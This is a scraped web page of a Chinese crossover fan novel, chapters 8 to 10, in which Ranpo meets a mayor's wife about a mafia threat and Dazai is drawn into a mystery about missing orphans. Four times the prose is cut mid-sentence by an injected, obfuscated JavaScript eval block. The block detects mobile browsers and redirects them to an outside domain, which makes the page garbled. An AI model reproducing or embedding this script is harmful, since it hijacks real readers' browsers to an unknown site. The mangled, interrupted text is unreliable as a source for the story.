他因为不想告诉太宰治半成品情报丢脸，所以什么也没告诉他。 “……” 脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434050|184934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边的收音机在播放昨天杰尔登晚宴上的议员死亡案。 凶手身份已确定是臭名昭著的杀手世家‘揍敌客家族’，播音员义愤填膺骂着警方前去交涉，结果连一个揍敌客都没见到，只得到某个瘦高男管家甩出的俩字。 证据。 老城建在枯枯戮山南麓平原，高楼不多，橘相月在躺椅上，透过几栋还亮着光的写字楼，夜色里如张牙舞爪大怪物般的枯枯戮山一览无余，头顶夜幕深蓝，繁星点点。 真漂亮啊。 * 今天吃太饱了。 江户川乱步揉着肚子想。好吧，不止是今天，自从认识橘相月，他的嘴和肚子每天都很忙。 比如他现在虽然在回味晚餐盖着柔软滑蛋皮的可口甜咖喱和外酥里嫩的煎鱼，但脑子已经在想晚上该怎么解决冰箱里的蛋糕了，在他下午吃了好几盘美食猎人出品的甜品、橘相月自研的冰爽甘甜的果汁、赔罪蛋糕、尝完阿维娃送的海藻糖发现味道不错一口气干掉了小半袋、啃了两个下午买回来放在冰箱里甜爽冰凉的莫乍果做开胃水果，和太宰治聊天时趁机吃了一包薯片两包搅搅糖一盒虾条小饼干的情况下。 或许他应该再来一杯果汁，江户川乱步能推理出橘相月把剩下的果汁藏在哪里。 好撑。 江户川乱步决定出门遛弯。 他看了眼躺在阳台躺椅上晃晃悠悠的身影。 橘相月每天晚餐后都会躺在阳台上和他养的宝贝花草一起晒月亮，听听收音机。 江户川乱步曾经试图理解这种老年人爱好，结果才待半分钟身上就多了三个包，橘相月倒干干净净的什么事都没有。 越想越气，江户川乱步很大声的跺着脚下二楼，结果在第二级台阶原地踏步了半天，阳台上的人该咋摇咋摇。甚至伸手摸了摸旁边干瘪的花骨朵，气的他蹭蹭冲出甜品店。 江户川乱步决定给橘相月找点不那么麻烦的小麻烦。 比如……因为尼克家主死亡，拿回原本属于她的航海权，正春风得意的瑞秋夫人。 市长夫妻的宅邸位于老城，这是市长为了表明自己虽然大力发展新城经济，但依旧心系老城的政治手段，其妻子瑞秋夫人为支持丈夫，将手下规模最大的工厂搬到老城。 尽管明眼人都知道这只是因为老城地皮和人力资源廉价，靠近入海口，排污和运输业很方便，但他们还是靠这招骗来不少选票，市长连任三期，瑞秋夫人挣得盆满钵满。 富人区的安保对江户川乱步而言如同纸糊，他没费什么力气就进了市长宅邸，绕开走廊擦拭花瓶的佣人，直奔二楼茶室。 门口的女佣认识江户川乱步，那天晚宴她候在门外，送自家主人和江户川乱步进场，见侦探姿态从容，误以为他是应邀而来的客人，恭恭敬敬帮开了门。 瑞秋夫人正在内室享用茶点，听到开门声以为是女佣，懒洋洋问了声有事？结果来者大摇大摆坐在她对面的椅子上，还毫不见外的抓着茶壶给自己倒了一杯。 “啊……是您，乱步先生。”浑身雍容的贵妇人刚想发火，见到来人，压下心底愠怒。 晚宴回来后，瑞秋夫人就派人查去查了江户川乱步。 原来声名鹊起的乱步与同住的红发青年都是某不知名村庄出生的平民，一月前，村庄因为魔兽潮覆灭，事发时二人因在隔壁镇子参加侦探比赛躲过一劫。 侦探比赛的组织者对乱步的精彩推理滔滔不绝，他还回忆出红发青年说要烤蛋糕庆祝江户川乱步得奖，以及在见到对方之前就听说那村里有个聪明绝顶的孩子。 其余参与者也对这个可怕的对手心有余悸，其中有三人对陪同的那位拥有一头鲜艳长发的红发青年更印象深刻，原因是他们觉得对方是名漂亮的女士，笑起来让人很舒服。 在这个世界，森林和峡谷中有无数只在猎人协会和国家记录中留有编号的少数民族村庄，规模最小的只有十几人，在大城市的人们睡梦、打网球、喝茶、工作的每时每刻，都有因为各种原因——山洪、地震、魔兽、强盗、病毒、战争悄无声息消失，这不是什么稀奇事。 一对聪明、无害、运气不错的可怜兄弟。 政客和商人最喜欢这种人，不会发生利益冲突，只要付出一点微不足道的物质和友好就能和他们成为‘朋友’。 “爱丽……”瑞秋夫人宽容地原谅了对方的不请自来，开口要唤佣人换茶点待客。 “夫人，我们今天的见面最好不要让第四个人知道。” 江户川乱步抬手制止，他看起来没有享用什么的闲情，板着脸相当严肃。一张终日笑盈盈的娃娃脸做出这种表情，更让人觉得事态严重。 “第四个？我，爱丽，你……那么第三人，指的是我的丈夫？” 8. 第 8 章 江户川乱步笑眯眯开口：“不错，但这只是我的建议，是否要因此打扰市长先生，就请夫人自己决定了。” 瑞秋夫人思量片刻，“我明白了。”说罢，身体微微前倾，摆出侧耳倾听的姿态。 她一开始是看不上平民出身的侦探，但晚宴上提前指出议员的死，还指导她在议员妻子那得知……女人眸子闪了闪，面上平易近人的温和更甚。 见她上道，江户川乱步勾起唇，他喜欢和聪明人交谈：“夫人知道十老头吗。” 瑞秋夫人当然知道。 十老头指的是世界黒帮的十位最高领导人、六块大陆十个地区的黒帮首领的统称，那群人是让v5常务国和各国都头疼不已的世界阴暗面。 巴托齐亚共和国就是十老头之一白朗蒂家族的领地。 鲁比安纳不在其中，因为盘踞在枯枯戮山上的揍敌客家族，以里世界的准则而论，鲁比安纳是揍敌客家族的地盘。 但揍敌客家族不仅不搞黒帮作派，甚至相当遵纪守法，名下实体产业合法合规，放眼整个巴托齐亚共和国都算得上纳税大户，鲁比安纳的宝贝金疙瘩。 甚至‘盘踞着世界第一暗杀家族的枯枯戮山’与‘割据阶层的百万夜景’被并称为鲁比安纳两大旅游景观，每年吸引近百万游客争先游览打卡，稳定给鲁比安纳带来一大笔收益。 “我听说杰尔登和十老头有勾连……莫非是真的？”瑞秋夫人一脸凝重。 “夫人不是已经问过议员妻子了吗，到底是谁的威胁，能让堂堂议员恐惧到不惜得罪市长，也要在航海权上做手脚。”江户川乱步懒得拐弯抹角，直勾勾盯着还想装傻的资本人精。 “杰尔登家族有个分支专为十老头做事，这就是他们为什么能在巴托齐亚安心做走私的原因，这次从夫人口中抢走航海权，还让夫人咽下这口气参与庆功……” “乱步先生，慎言。”瑞秋夫人打断，眸底冷凝，是明晃晃的警告。 “大人们什么都知道，但他们什么都不说，说出来就会挨骂。”江户川乱步撇撇嘴，“我小时候一直这么觉得，直到有人告诉我，他们其实都是笨蛋，夫人是笨蛋吗？” “……”瑞秋夫人没再说话，默许他可以继续。 “现在全鲁比安纳都知道议员是揍敌客杀的。”江户川乱步从点心盘挑了个花朵形状的果塔，“很多人都猜测揍敌客是夫人雇佣的吧？” “不是我。”瑞秋夫人否决。 “当然不是你，只有没脑子的笨蛋才会觉得夫人想杰尔登消失。” 年轻的侦探睁开双眼，翠绿眼眸中让人瞬间顿悟——在他面前任何隐瞒都毫无意义。 “夫人最近，睡得不太好吧。” “……” 瑞秋夫人面无表情：“我的确早就知道威胁议员夺走我航海权的是十老头，只是我没想到最后动手杀人的是议员妻子，她是个很胆小的女人。并且，乱步先生，我能问您一句，身处事外的您是怎么知道这件事始末的呢？” “犯下极端残忍罪行的凶手中，有一大半都被评价温柔、老实、内向甚至好欺负，你想靠这个给我判罪可不行，但这个不重要啦。”果塔一口就能塞到嘴里，侦探腮帮子鼓鼓囊囊，“至于我为什么会知道真相……” 他睁开一只眼，是新晨树梢冒出的第一缕嫩芽般翠绿的眸子：“因为我是拥有能一眼看透一切真相的念能力的天下第一名侦探——【超推理】！” 瑞秋夫人愣住了。 她当然知道念能力者的存在，他们拥有超自然力量，对普通人来说宛若神明，但对在商场和政治场浸淫多年身居高位的她来说，也不算什么高不可攀的角色。用钱就能雇佣到，她丈夫身边就有一名念能力者保镖。 但……能一眼看透一切真相的能力？ 江户川乱步却没给她适应的时间，嚼嚼嚼，边嚼边漫不经心开口：“重要的是杀手也是十老头请的哦。” 瑞秋夫人错愕，声音在震惊下有些失真：“不可能！” 十老头一直通过杰尔登家族瞒着揍敌客在鲁比安纳做生意，两个家族之间的利益纠葛深刻，而且他们前脚威胁议员把航海权给杰尔登，后脚雇凶在宴会上杀议员让杰尔登完蛋，岂不多此一举。 江户川乱步突然僵了一下。刚塞到嘴里的果塔内馅比他预想的凝实，果脯卡牙了。 他若无其事，单手托腮辅助咀嚼，含含糊糊开口：“东西还是吃到自己肚子里更好吧。” 站越高，摔得越碎。只要议员死在宴会上，刚才还春风得意的杰尔登必定大乱应接不暇，这时十老头就能趁虚而入，把外接义肢变成自己的血肉了。 瑞秋夫人指尖发麻。 她确实不想杰尔登出事，十老头眼馋鲁比安纳，但不敢冒犯揍敌客，只能靠鲁比安纳本土势力做渠道，杰尔登还在是杰尔登，他们没了，被盯上的就是实力最强的她了。 瑞秋夫人对和潶帮合作没有兴趣。 不是正义，是没必要。她丈夫是市长，她本人身居高位，为何要与?帮谋利。 但十老头的邀约可不是能轻易拒绝的。 “夫人焦头烂额无非是怕像杰尔登一眼沦为十老头的傀儡，最后变成牺牲品。”江户川乱步笑眯眯开口，“我说的对不对？” “……” “我能帮你。” 瑞秋夫人声音干涩：“你想从我这得到什么。”知道一切的念能力者……能力非凡，所求必然不简单，若太过分，她还不如去做十老头的附庸，好歹与虎谋皮，能尝个肉味。 “终于问到重点了！”江户川乱步得意地哼哼两声，说出他的最终目的。“我想邀请夫人为即将开业的甜品店剪彩。” “？”瑞秋夫人噎住，“只是这样吗？” “到时候揍敌客家的人会来。”江户川乱步终于把那口噎人的果塔咽下去了，笑容都真情实意很多，“既然十老头是为了做窃粮的硕鼠，那提醒主人家找猫不就好了。” 瑞秋夫人：！ 不是告诉主人家，揍敌客家是纯粹的杀手世家，不管里世界的恩怨，只要面子上过得去，揍敌客从不管是谁在鲁比安纳盈利。重点是让十老头知道她和揍敌客的人见过面，这样在选她做傀儡时，十老头便要斟酌一二了。 离开市长宅后，江户川乱步没有马上回去。 因为他把瑞秋夫人的晚茶点心打包了。橘相月倒不管他在外面打野食，但要带回去放冰箱被看到了，他明天百分百不会给他准备新点心，为了捍卫自己的甜点权，江户川乱步决定在外面解决这些点心。 江户川乱步直奔东楼住宅区，那是老城最危险的街道，被称为警察的禁区，犯罪者的天堂。 也是橘相月每天去市场的必经之路。其实有很多路都能过去，住在市中的人还会刻意绕开这边，但江户川乱步最初为了实验能否让橘相月死于意外，故意领他走这边，橘相月就一直这么走了。和一直去一家店铺买菜一样，他几乎不会尝试新路线。 夜晚是旧巷最活跃的时间。政府没给这边安装路灯，但并不黑，每家每户窗沿边都伸出一只小灯泡来照明，听说原本没有光源，只是老有人趁黑偷偷来这里抛尸，居民嫌打扫麻烦，就联合安了起来，有被抓住的，当晚就被掏空了肚子吊在警局门口，身份证件半月后在几千公里外的黑市找到。 拎着精美点心盒的清瘦少年站在拉满电线的街道口前，懒懒打了个哈欠。 灯太刺眼。 ＊ 怀着某种未泯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434051|184934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灭的愧疚心，橘相月在吹完风后没有立刻回卧室休息。 红发青年边走边歪着脑袋用手指打理被风吹的有些凌乱毛躁的长发，影子被阳台投射进的光拉得很长，脖子上的黑色围巾随着行走擦过光裸的小腿。 二楼走廊没开灯，很是昏暗。江户川乱步的卧室门缝没有光，他还没回来。 橘相月莫名有些烦躁。 他先前的记忆模糊不清，甚至到了出门看到有人捧着桔梗，脑袋会恍惚生成自己也收到过一捧这类不存在记忆的程度，唯独死后经历的那段无边、漫长、绝望的黑暗清晰刻进灵魂，历历在目。 还好有家人……他还有家人，乱步、太宰，他还会有很多新的家人…… 紧握的手骤然张开，下压通往「甜蜜的家」的门。 刹那间，房屋灯火通明。 电脑屏幕上是排列整齐密集的文字资料，沙发上各种零食散落，是江户川乱步去市场前没清理的，沙发那一块都是他的地盘，专门在里面做了个靠墙的桌子，薯片袋子敞开口，在这不用担心软化。 不悦心情瞬间被荡平，取而代之的是一种说不清道不明的轻松与安定。橘相月坐到办公椅上，肩膀陷入柔软靠背。 屏幕‘监控’在房间正中出现。 两个区块。 一是江户川乱步懒洋洋坐在围墙晃腿上，下面几个满脸凶神恶煞的壮汉正情绪激动地抬着头讲着些什么，黑发侦探却一脸无趣。 橘相月给他私聊：【注意安全，早点回来】 江户川乱步明显愣了一下，朝下面人喊了句‘闭嘴’，仰起脑袋朝向虚空，一手把旁边放的盒子往身后藏了藏，试探性抬起另一只手，做了个打招呼的姿势。 【乱步：知道啦，我又不是小孩子！】 另一个画面上属于太宰治。 他正蹲在角落和一筐花生搏斗，面无表情，却莫名感觉苦大仇深。 ……？ * 覆了一层黄锈的煤气灯用绳子吊在天花板管道上，提供光照，大概二十平米的地方堆了几百件明显是垃圾堆里捡来的旧厨具、餐具，乱而有序。灶台煮了锅果仁粥，粥水沸腾，飘出很陈旧的谷物气息。 厨房只有太宰治一个人。 因为‘文盲’和‘重伤未愈’，太宰治很遗憾自己做不了教书和体力活，只能选了帮厨。 佩戴鹅黄头巾的高瘦女人是厨房主人，神父称呼她为莱尔小姐，她给太宰治安排了剥花生的工作，就风风火火和神父一起离开了，两人用他听不懂的流星街语言交流，语气急切。 按部就班是不可能的，太宰治就地取材，用筷子和铁丝做了一套简易工具，把花生拦腰往里一放一夹，果仁就从壳里剥离出来，壳掉旁边，不一会花生仁便冒了尖。 他重复着机械动作，大脑飞速运转，分析现有情报。 神父是个老狐狸，从他那根本套不出什么东西，不过太宰治至少搞明白了他的所在地——流星街七区最大的教堂，兼宗教与育儿所的职责，神父是最高管理人，莱尔小姐是他的副手。 但是不对劲。 太安静了。既然是孤儿院，为什么一点孩子的喧闹声都没有？就算集体出门玩了，但饭点厨房却只煮了一小锅粥，角落餐盘碗筷落上着的薄灰，都无法解释。 难道是……出货？ 捡到孩子毫不犹豫送到孤儿院，要么是他运气好遇到了高素质的居民，要么就是……有丰厚奖励。 “神父大人让我来取午餐。” 一道冷清清的声音随着门推开时涌入的光线一同传入厨房。 太宰治抬头看去，发现是和神父一起的那个小女孩，大概十岁出头，瘦瘦小小，个头与置物架第三层齐平。 9. 第 9 章 “是来拿粥吗？”太宰治问道。这其实是个废话，因为灶台上只有这么一个和午餐沾边的东西，总不能吃他刚剥出来的生花生。 “粥？哦，是。”小滴的注意力落在他手中那个模型奇怪的工具上，声音没什么波澜，完全不像个十岁出头的小姑娘：“这是什么。” “剥花生用的。”太宰治张开手心，展示那个简易钳子，用哄孩子的语气，“这样手指就不会痛了。” “手指痛？”小滴歪了下头，发尾扫过肩膀，“莱尔小姐没说错，你果然是从外面来的甜心少爷。” ……他刚才是被瞧不起了吧，是吧？ “虽然我确实不擅长这个，但这么说也太过分了。”太宰治一副如遭雷劈的表情。 小滴没再管他，自顾自往灶台的方向走去，太宰治清晰看到她踩在开裂鼓起的木地板上，但没发出一点声音。 鸾色瞳孔暗了暗，唇角却挂上友善的弧度，试探的话已经备好。 三十秒后。 太宰治嘴唇都僵了也没施展出来，干脆绕到一个不会让人感到冒犯，又能观察到少女动向的角度。 他发现……她好像，在发呆。 ？ “小姐，你还好吗？”太宰治试探开口。 小滴被惊醒，瞌睡醒似的脑袋小鸡啄米一轮，又盯了咕嘟冒泡的粥水几秒，才转头看过来。 “什么？” 太宰治解释：“我看你一直盯着锅……是粥有什么问题吗？啊，我的名字是太宰治，是新来的，你叫什么？” “粥没问题。我知道你。小滴。”小滴挨个回复完，又用没有波澜但应该是夸奖的语气道：“你的隐很漂亮。” 嗯？ 太宰治不动声色：“谢谢，但……”他搓了下指尖的土，困惑，“‘隐’是什么？” 很漂亮=可以通过肉眼看到的某种东西。 并且绝不是外貌一类浅显特质，应该是天赋/能力。 是异能。是念。 在太宰治的认知中，异能者在外表上和普通人毫无差别，所以这是她的能力？还是…… 小滴回答：“我看不到你的气。” “……气？”太宰治面上笑的轻佻，微微蜷起的手心冰凉一片。 不是对少年老成的小滴，而是对若无其事接纳他的神父的后知后觉。 ‘看不到他的气。’ 意思是这个世界能通过外表来判断普通人和‘异能者/念能力者’。 并且不管气是什么，他作为无效化异能者都必定和普通人/念能力者不一样，从小滴的惊讶判断，这种不同很有可能是白种人和黄种人的人中混进去一个蓝皮肤人似的显眼。因此，神父肯定一眼就看出了他的不同。 估计是因为笃定进了流星街无法离开，再加上急着处理孩子丢失的事情，才若无其事地配合他演戏。也亏得太宰治是真不知道‘气’的事，才没露出破绽来。 太宰治心有余悸。 小滴却没再理他，扭头回去盯着粥一动不动，任由飘出的热蒸汽晕染脸颊。 见她这样，太宰治心底突然升起一个荒谬的猜想。 试探性开口：“小滴，我能这么叫你吗。你不是要帮神父先生拿粥的吗？” “不可能，哪有这回事。”小滴否决，声音严肃，“神父大人怎么可能把这种工作交给我！” “……” 原来是在思考自己在干什么的吗？ 但这么快就把自己说过的话忘得一干二净，这健忘是不是太夸张了。 “那你为什么要盯着粥看？”太宰治问。 “因为修被抓走了。” “欸？”这有什么因果关系？ “修被外面的人抓走了。”小滴又重重强调了一遍。 看她煞有其事，太宰治试图理解：“修……是莱尔小姐以前的帮厨吗？” “莱尔小姐从来没有帮厨。”小滴抓住他腰侧的衣服，“大家都被抓走了，敌人是很棘手的念能力者，神父大人说他们没有留下任何线索，所有人就像凭空消失了一样。” “……抱歉。”所有孩子都被人抓走了？难怪一路过来没有一点声音。太宰治猜测，“你的朋友修被敌人抓走了，你觉得我能帮你，所以假装来拿午餐，其实是为了找我？” “对！嗯嗯！但神父大人不让我离开教堂，你得帮我。” 意图被点破，小滴眼睛一亮，拽着太宰治就往门口走。 她力气大的惊人，太宰治被硬拖着走了好几步，抓住桌角才堪堪停下。虽然不是武斗派，但体术在黑手党中也能算中下水准，而且好歹是个成年男子的太宰治叹了口气。 “等一下。” 防止小滴再突然用力，他抬手按住女孩的发顶，将她定在原地，随后与那双短暂愣神后抬起的古波无惊的茶色眼眸对上。 太宰治似乎没看到少女眸底突升的杀意。那不是柔弱生物之怒，是真正对生命漠视者的冷淡，像野兽一样，仅是被冒犯后在‘杀’与‘不杀’的行为中简单抉择。 虽然才十岁出头，但已经是很合格的杀手了呢。 太宰治突然想起熟人，摆出的令人信服的笑容中多了几分欣慰真情。 “我会帮你的，让可爱的小姐烦恼不是绅士所为。但至少要先告诉我你需要什么帮助吧，小滴小姐。”言语中满是纵容，无一丝不耐。 两秒后，小滴向左偏了下脑袋，太宰治顺势胡噜两下后收手。 “你很奇怪。”她说。 太宰治莫名读懂了这句话底下的失望，笑容僵在脸上：“等等，你刚才拽我不会是打算等我反抗，然后直接打晕我吧？” “嗯。”小滴坦然，“你先动手，就可以和神父大人解释了。” “……”太宰治咽了口唾沫，讪笑，“我没说不配合，而且意识清醒才能更好沟通是不是，你觉得呢，小滴小姐。” 小滴眨了下眼，觉得他说的有点道理：“嗯，叫我小滴就好。” “能达成共识真是太好了，那么小滴，把发生了什么，从头到尾告诉我。”话到最后，已是自然而已的命令口吻。太宰治向后跳上木箱，单腿屈起踩在边缘位置。 小滴没有发觉主动权颠倒的问题，点点头，将事情的来龙去脉娓娓道来。 这是一场报复。 流星街这个概念其实是近百年才有的。 在此之前生活在这片土地的人们，大概是最早从垃圾堆里爬出的男女们的后代，总之他们以飞艇倾倒下的垃圾堆中寻找尚未腐烂发霉的食物为生，就像未开智的猿猴一样活着。就算偶尔有从外界误入这里的常识人，也没有改变这样的情况。 直到黒帮的出现。 他们带来了武器、暴力、奴役和知识，将这片土地利用起来，短短十几年，所有流星街的居民就都理解了铁器和铝可以换到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434052|184934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新鲜的食物，纸壳摞起来可以变成干净的衣服。 一吨处理好的铁与一块难咽的干面包并不等价——一位年轻人在书里读到这个概念，然后他建立了长老会，最早只是代表流星街人与黒帮进行讨价还价的组织，后来逐渐演变为靠本地人优势统治流星街的势力。 首次有规则的团结起来的流星街人们本该带着这片土地崛起，但黒帮垄断了交通，他们不往外运输，流星街的铁甚至不如地上的黄沙。 这样被掐脖子的日子又过了几十年。 直到上周，那名年轻人——现在被尊称为长老的八区区长，从某个黒帮手中得到了几架飞艇。 虽然杯水车薪，但这是一道曙光，只要流星街人自己掌握了生意，外界总有人愿意进入流星街。 黒帮自然不会放任不管。 在流星街十三个区里，七区的神父与八区长老关系最为亲密，而神父的软肋是他教堂里的几十个孩子。现在孩子们莫名失踪，明眼人都能看出这是黒帮的报复。 “如果是这样……他们短时间内反而不会有事。”太宰治摸着下巴。 在首领提供的资料中，流星街是不被世界承认存在的地方，出生在这里的人没有国籍和户口，生来就是黑户。因此这个世界没有任何一部法律或警察保护他们，流星街人是非法组织眼中行走的钞票，人力、器官、非法实验、性……诸多作用。 活体永远比尸体更有价值，黒帮是许多黒帮的统称，大大小小分了几十个组织，总有不赞同把那些价值高昂的孩子全部杀死只为警告的。 横滨也有地下世界，利益这一套，换一万个世界也不会变。 太宰治敲定：“总之现在的当务之急是先找到他们，时间就是生命……小滴，可以告诉我，你是怎么知道我能帮你的吗？应该不是神父大人告诉你的吧。” 小滴：“嗯！” 太宰治循循善诱：“可以告诉我是什么吗？” “果然，莱尔小姐的预言从不出错。”茶褐色眼眸与玻璃镜片相似，无波无澜，通透平淡，却透露出一丝不易察觉的喜悦。小滴没有正面回答，喃喃，“你是‘好的变故’。” “嗯？” 太宰治话没说完，笑容僵在唇边，大脑中处理信息的板块比处理感知的板块率先运转—— 莱尔小姐的预言从不出错……莱尔小姐从来没用过帮厨……神父发现他的异常却没当场揭穿……而是把他扔到莱尔小姐这里……原来如此……莱尔小姐拥有预知能力，小滴来厨房，是因为她听到了莱尔小姐对‘太宰治’的预言…… ……他是想赶紧触发个事件摆脱被打发到厨房剥花生的现状，但他讨厌不把人话听完就急哄哄办事的笨蛋！！ 太宰治身体晃了晃，眼睛一翻，意识断线。 小滴接住比他高一个头还要多的男人，轻松地像捧住一片白纸。 她抬手催动念，看着手心源源不断冒出的‘气’，眸中闪过一丝疑惑。 刚才那种念被阻断的感觉……是错觉吗？ 她没在这耽搁太久，反正目前太宰治展现出的头脑，就已经足够让她冒险违抗神父。 始终表现的情绪迟钝甚至有些冷酷的少女眸底闪过一丝悲痛。 因为某些原因，她记性很差，初到七区时闹了不少笑话，是七区的孩子们不嫌麻烦的一直包容她关照她，她才能融入。 小滴想。一定要救回他们。 10. 第 10 章 像列车穿越漫长隧道见到出口时刺眼的光亮，圆弧形的白色在视野中逐渐扩大。 白色中扭曲的色块愈来愈近，原本模糊不清的轮廓也显露出真面目。 一个人，他抱着膝盖坐在树根上。 看他。 太宰治伸手抓住据他最近的那个实体，就像在风暴中固定自己。触感柔软。 他感觉天旋地转，只能用力眨眼来平复呼吸，好半晌才聚焦看清周围环境。 一间稍有些凌乱的书房，低头看，原来抓住的柔软的是办公椅靠背。 指甲用力嵌入海绵，他对上一双察觉到动静回头望来，沾染意外之色的果绿眼眸。 “你……”对方没再说下去，但显然想起了他是谁。 这人的身份也浮现在太宰治脑海中。 ——首领。desserp shop的神秘老大。把他弄到这的人。 那头酒红色长发与初次被拽到这个世界时见到的模糊身影重合，最终落在盘腿靠在沙发上用勺子刮空盘子的江户川乱步身上。港口黑手党的情报网里有这位能洞穿一切真相的名侦探的照片，太宰治认识他。 就是不知为何那撇过来的锐利视线与想象中日本警察的救星不同，反倒像极了那位让他恨之入骨的前任上司。 姑且算名侦探与庸常人的不同，太宰治将更多注意力放到领头人身上。 他从善如流后退几步，为橘相月留出旋转座椅的空间，然后在对方转身瞧他时单膝虚跪，右手举起贴在心口位置，抬头，鸾眸映出青年身影，声音温柔虔诚，眉眼带笑。 “终于见到您了，老大，我是港口黑手党……不，是您忠诚的部下，我的名字是太宰治，您叫我太宰就好。” 江户川乱步：“……” 他不想绕过去看橘相月骤然睁大的蠢眼睛，在太宰治这种操控人心的老手面前，橘相月残缺的失忆社畜表情管理不堪一击。他冷冷开口。 “‘果然，是那个名侦探的傀儡，大名鼎鼎的名侦探竟然也会做这种事’——收起你那无聊的恶心想法，他是你我要效忠的首领，desserp shop的主人。” 心思被点破，太宰治一愣，收起伪装出的和善笑容，没再看被他判定为构不成什么威胁的橘相月，起身与江户川乱步对峙，鸾眸中剥离出属于黑手党干部的危险与黑暗。 江户川乱步毫不客气回望，翠绿眼眸锋利稳固。 两道视线在空中交锋碰撞，似乎有无形的灼热涌起，激起气浪震颤，势均力敌，谁也不落下风，双方都不是蠢人，自然能看出彼此眸中令人心惊的同类特质。 半晌，是太宰治率先服软。 因为他意识到江户川乱步是认真的。 不管对方内心真实想法如何，这位名侦探都一定会不顾一切维护首领威严，他在解决desserp shop组织最后的隐患，所有成员必须发自内心去拱卫和爱戴的核心——首领。 一盘散沙的组织，成员再怎么强大也不可能成事。 因此，任何冒犯首领的，无论是敌人还是同伴，江户川乱步都会用最残酷的手段惩罚。 “……我知道了，抱歉。” 太宰治闭了下眼，重新转向橘相月，面上虚伪的笑容真挚些许，他是看不上普通人，但在对方被江户川乱步赋予意义的前提下，倒也能提起精神去敷衍尊重。 “请您原谅我刚才的冒犯，boss。” 压根没感觉到什么冒犯的橘相月：“坐下来聊吧，太宰。” 他刚才理清太宰治突然来这出惊悚效忠的底层逻辑，无非是想看他反应。但两人后面的博弈暂时不懂，但不重要，他相信江户川乱步，贸然插手反而多此一举。 话落，江户川乱步唰地回头看向太宰治，神采飞扬。 太宰治：？ 如果他没猜错，这位名侦探的意思是……炫耀自家首领很聪明很省心？ 这有什么？老实这种品质，他部下里一抓一大把。 江户川乱步轻哼一声，夏虫不可语冰：“你会喜欢店长的。” 太宰治狐疑看向说完就去拿茶点招待的青年，对方确实是个心细体贴的人，相貌与气质的高度亲和力也很难得，但作为需要被服从、爱戴和敬畏的首领，远不够格。 所以，这样一个在他们看来跟不上节奏而天然排斥在外的蠢笨之人，到底有什么魅力让江户川乱步如此拥簇？比起真心培养对方成长为合格的首领，立个傀儡不是更好。 “所以说你比不上我，笨蛋。” 江户川乱步扬起下巴指窗台方位。太宰治顺着看过去，发现是块巨大的半透明屏。 他几乎瞬间就联想到那是什么——可以监控部下动向的道具。 但这和橘相月能做首领有什么关系？就算是只有他能操作，洗脑不就好了，把人杀掉然后让他对自己感恩戴德这种事，对他们来说可太简单了。 太宰治大脑飞速运转，无数可能性接踵而至，却与真相似乎都不契合。 这时，橘相月带着茶点回来了。 青年肩脊挺拔，一头漂亮的酒红长发披散肩头，随轻盈地行走动作在身后摆动，整个人散发出一种‘家’的主人的从容优雅。 洁白的瓷盘与铺了格子桌布的桌面接触，发出轻微的碰撞声，甜点精致诱人，红茶汤面散发缕缕带香气的白烟。他顺手拨开江户川乱步随手摆在桌上的玩具。 “润润嗓子吧，茶是我自己配的花茶，味道很好。” 太宰治仔细观察他，眼睛都要看出火花，试图从中分析出江户川乱步的意图。 等一下……难道是贪恋‘家’的温暖吗？这位长得就像没断奶妈宝男的名侦探不会真的因为这种无聊的理由屈居人下…… 太宰治‘嗷’一声捂住后脑勺。弯腰端甜点的江户川乱步敲的。 橘相月却误会了。 说实话，他也不是很想和‘家人’面对面，毕竟从本质来讲，是他按下那个按钮把人家强行绑架到异世界，再用高高在上的施舍奖励强迫对方接受命运的间接绑架犯。 谁能想到「甜蜜的家」还有这种家人昏迷自动觐见的‘默认设置’啊…… 橘相月被迫营业。调整好状态，双手轻轻摆在膝盖上，十指交插，让自己看起来从容不迫一点。 “我是个失忆者，脑袋容量有限，个人也很不喜欢绕来绕去的麻烦事，就直接说了。” “连累你穿越到异世界的事我很抱歉，虽然事实上与我无关，就算没有我，也会有橘平月橘隅月之类的人做这个首领，你可以理解为是命运选择了我们。” 因为如果有的选，橘相月更想要一个乱步军团。 “我没有统领和支配的才能，所以比起首领与部下的关系，我更希望我们能作为家人好好相处，当然不接受也没关系，将我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 